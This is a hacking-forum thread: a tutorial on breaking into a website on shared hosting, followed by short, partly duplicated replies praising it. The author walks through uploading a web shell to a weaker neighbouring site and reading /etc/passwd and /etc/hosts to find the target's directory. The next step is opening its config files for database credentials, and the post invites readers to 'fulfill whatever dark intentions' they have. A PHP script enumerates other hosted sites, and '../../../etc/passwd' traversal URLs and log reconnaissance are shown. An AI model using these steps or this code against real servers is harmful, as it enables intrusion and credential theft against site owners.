[Faner]

Greetings guys,
today (tonight) I decided to make small tutorial about directory traversal vulnerability.
Let's ask wikipedia for smart explanation what it is:

A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

The goal of this attack is to order an application to access a computer file that is not intended to be accessible. This attack exploits a lack of security (the software is acting exactly as it is supposed to) as opposed to exploiting a bug in the code.

Directory traversal is also known as the ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also canonicalization attacks.

That's not exactly what I am going to show, but still, every tutorial must contain something clever.

So what I want to show?
I will try to explain how directory traversal attack can be used to gain access on websites which looks completely protected from remote attacks.
Notice: website must be hosted on web hosting server, not private server.

Let's say our target is http://inpensite.com
Site's owner is Abdul Karambass and website is hosted on sshost company's server.

Now we need ip address of that server, so we go to http://www.yougetsignal.com/tools/web-si...eb-server/ and type in inpensite.com.

Result looks like this:

Found 116 domains hosted on the same web server as inpensite.com (165.126.54.37).

supershop.com (linkback)

playground.in (linkback)

gazimi.ru (linkback)

ask-us.nef (linkback)

via.gra.in (linkback)

buy4mon.ffs.co.uk (linkback)

coutryside-tourism.net (linkback)

club-spyonage.gov.ch (linkback)

...

...

and so on...

So if that sshost is vulnerable to directory traversal, you could get access to look in files of all these websites just by shelling one of them.

Now the hard part (depends on your skills and quality of websites) - from all that list you need to find vulnerable website where you could upload web shell. Let's say we are shelling coutryside-tourism.net, because websites like that usually have shitty protection, so it will save us time.
After uploading shell (information and links to tutorials about web application vulnerabilities: http://www.hackcommunity.com/Thread-All-...ng-Methods ) you will be in website's home directory. In this case let it be

/home/cstourism/coutryside-tourism.net

Now we need to check passwd file. It can be found on /etc/ directory.

Passwd can contain 2 types of information (at least what I have seen):
1. List of users (this isn't too good):

root
deamon
bin
sys
mail
news
proxy
majordam
user1
user2
user...
fasdf
fsadfsad
gsafgdf
dsfgdsf
.
.
.
.
and so on

2. Full list of information we need: user: shadowed password(x): user id: group id: user's info: home directory: shell directory

daemon:x:1:1:Owner of many system processes:/:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3ys:/dev:/bin/false
sync:x:4:100ync:/bin:/bin/sync
games:x:5:100:games:/usr/games:/bin/false
man:x:6:100:man:/var/cache/man:/bin/false
lp:*:7:7:lp:/var/spool/lpd:/bin/false
mail:x:8:8:mail:/var/spool/mail:/bin/false
news:x:9:9:news:/var/spool/news:/bin/false
uucp:x:10:10:uucp:/var/spool/uucp:/bin/false
proxy:x:11:13:proxy:/bin:/bin/false
majordom:x:12:31:Majordomo:/usr/lib/majordomo:/bin/false
postgres:x:13:32ostgreSQL administrator,,,:/var/lib/postgres:/bin/false
spshop55:x:14:54aniel Madirabi:/home/dmadirabi55:/bin/bash
pggenium:x:15:59:mrgenius:/home/pggenium:/bin/bash
gazimi:x:16:57:Ivan Peotrovich:/home/gazimi:/bin/bash
askus:x:17:51:Jackson Answerer:/home/askus:/etc/ftponly
vigaria:x:18:53:Ilona Kechuipal:/home/vigaria:/bin/bash
csturism:x:19:35:Richard Bronzebeard:/home/csturism:/etc/ftponly
inpens:x:3614506:549307:AKarambass:/home/inpens:/etc/ftponly
.
.
.
and so on...

Let's say we got 2nd variant. Now save it to txt file. And go back to /etc/ directory. 2nd file we need is named hosts.

It should contain something like this:

# /etc/hosts - sshost generated
127.0.0.1 localhost

# myself
165.126.53.219 bishop.sshost.com
165.126.12.14 sd.sshost.com

# ipv6
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
165.126.213.27 admin.mysuperblog.com
165.126.212.114 personal.checklisting.com
165.126.55.40 inpensite.com
165.126.54.37 playground.in
165.126.212.85 blog.fsdgsdfg.com
165.126.54.37 gazimi.ru
165.126.212.231 alhabadin.com
165.126.212.81 nothing-good.co.uk
165.126.54.37 coutryside-tourism.net
165.126.215.127 lolololk.com
165.126.212.86 my-worst-day.com
.
.
.
and so on...

Ok, save it too.

In our target website http://inpensite.com we found that site's owner is Abdul Karambass. So we open our saved passwd file and do ctrl+f for Abdul Karambass. It doesn't find anything, so let's try only surname Karambass.
And it found
inpens:x:3614506:549307:AKarambass:/home/inpens:/etc/ftponly
ok, now let's try to access /home/inpens.
In most cases (probably always) server won't let us. But in some web hostings we are forbidden to see content only in home, so lets try /home/inpens/inpensite.net.
If you are lucky, you will see all website's files. Then just open config.php, configuration.php or anything like that where could be mysql connection details, connect to database and vuala, now you can fulfill whatever dark intentions you have.

Now, why did I tell to save hosts file?
Sometimes few domains are linked to same website, and website files can be hosted not in /home/inpens/inpensite.net, but in /home/inpens/inpensite.co.uk, or similar.
So you just search in hosts file for something similar to your target's url.


And if you are looking for any random websites to shell on that hosting, just run this script:

PHP Code:

<?php $file = fopen("/etc/passwd","r"); function check($user, $home){ // extensions to check with $dom = array('.com', '.net', '.org', '.dk', '.de', '.it', '.co.uk', '.es'); //if you add extentions, edit amount of times the loop runs, change that 7 to amount of extensions for($i = 0; $i<7; $i++){ $dir = $home."/".$user.$dom[$i]; if(is_dir($dir)){ print "$dir \n"; } } } if($file){ while(($line = fgets($file)) !== false){ list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $line); check($user, $home); } fclose($file); } ?>

I made it exceptionally for the hosting I was testing all this on. Not sure how it will work on others, but you are free to edit it.
In 900 lines passwd file it found 31 website in my case.

======================================================================================
=============================OTHER USES OF DIRECTORY TRAVERSAL =============================
======================================================================================

1. Accessing files by backing path up to the root directory and then changing path to some some file you want to read:

http://inpensite.com../../../etc/passwd

or

http://inpensite.com../../../etc/hosts

This vulnerability allows attackers to read important files on the server, even thought it's probably totally extinct nowadays.

2. Directory content listing attack. One more quite old vulnerability. It allows attacker to see all files on that folder.

http://inpensite.com/./

If administrator didn't turn off directory listing or doesn't have set up default page for this, attacker can see directory and file list. This is not always a security flaw. Sometimes administrators leave this ability intentionally, to let their clients search through files and images, so they could find whatever they are looking for easier.

3. Looking for logs (usually error logs). If attacker knows what web application runs on his targeted website, he can find error log file, if it's logged in file. For example, in my case I was looking into opencart 1.5.1.3, and I knew opencart logs errors to

/system/logs/error.txt

I found quite interesting stuff there:

2012-03-02 18:18:08 - PHP Warning: Invalid argument supplied for foreach() in /home/*******/domains/*******.it/public_html/*******/catalog/controller/common/content_top.php on line 49
2012-03-02 18:18:08 - PHP Warning: Invalid argument supplied for foreach() in /home/*******/domains/*******.it/public_html/*******/catalog/controller/common/content_bottom.php on line 49
2012-03-03 9:30:42 - PHP Notice: Error: Could not load language itl! in /home/*******/domains/*******.it/public_html/*******/system/library/language.php on line 26
2012-03-03 9:33:32 - PHP Notice: Error: Could not load language itl! in /home/*******/domains/*******.it/public_html/*******/system/library/language.php on line 26
2012-03-03 9:33:48 - PHP Notice: Error: Could not load language itl! in /home/*******/domains/*******.it/public_html/*******/system/library/language.php on line 26
2012-03-05 21:38:24 - PHP Notice: Undefined variable: payment_address in /home/*******/domains/*******.it/public_html/*******/catalog/controller/checkout/payment.php on line 88
2012-03-09 11:15:12 - PHP Notice: Error: Could not load template /home/*******/domains/*******.it/public_html/*******/catalog/view/theme/default/template/module/tg_themeglobal_slideshow.tpl! in /home/*******/domains/*******.it/public_html/*******/system/engine/controller.php on line 71
2012-03-09 11:33:46 - PHP Warning: filesize() [<a href='function.filesize'>function.filesize</a>]: stat failed for /home/*******/domains/*******.it/public_html/*******/admin/controller/module/magictoolbox/magicscroll.css in /home/*******/domains/*******.it/public_html/*******/admin/controller/module/magictoolbox/module.php on line 131
2012-12-26 20:41:34 - PHP Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /home/*******/domains/*******.it/public_html/*******/system/database/mysql.php on line 55

As you can see, from these few lines I found full path to website directory and database type. And there are much more (lines)...
Conclusion: 1st point is just for acknowledging, I don't think any server is still vulnerable to that. And 2nd and 3rd points, in my opinion, are great for information gathering about your target.

I haven't tested 1st and 2nd point, credits for them goes to TrainSignal...

======================================================================================

Well, hope you enjoyed it, thanks for patience reading this.

If you find any mistakes, feel free to tell me.

Also, thanks, feedback and rep is always appreciated.

This is only for introduction, I don't promote any harmful activity. And f^*k defacers... :ok:
Edit: after reading it 3rd time, noticed that I am talking about myself in plural. Sorry for all those "we" and "our".

[Shining White]

Hey thanks for this , this will help me to fill the Web Attacking thread

[The Alchemist]

Very well explained and helpful tutorial..

[Deque]

Good tutorial. Thanks for the share.
Please use code-tags for your script. Reading it without indentation sucks.

[Deque]

Good tutorial. Thanks for the share.
Please use code-tags for your script. Reading it without indentation sucks.

[Faner]

Thanks for replies.
@Deque: Done. But in my opinion php tags look better there.

[Faner]

Thanks for replies.
@Deque: Done. But in my opinion php tags look better there.

[Deque]

That's alright. Thanks.

[Deque]

That's alright. Thanks.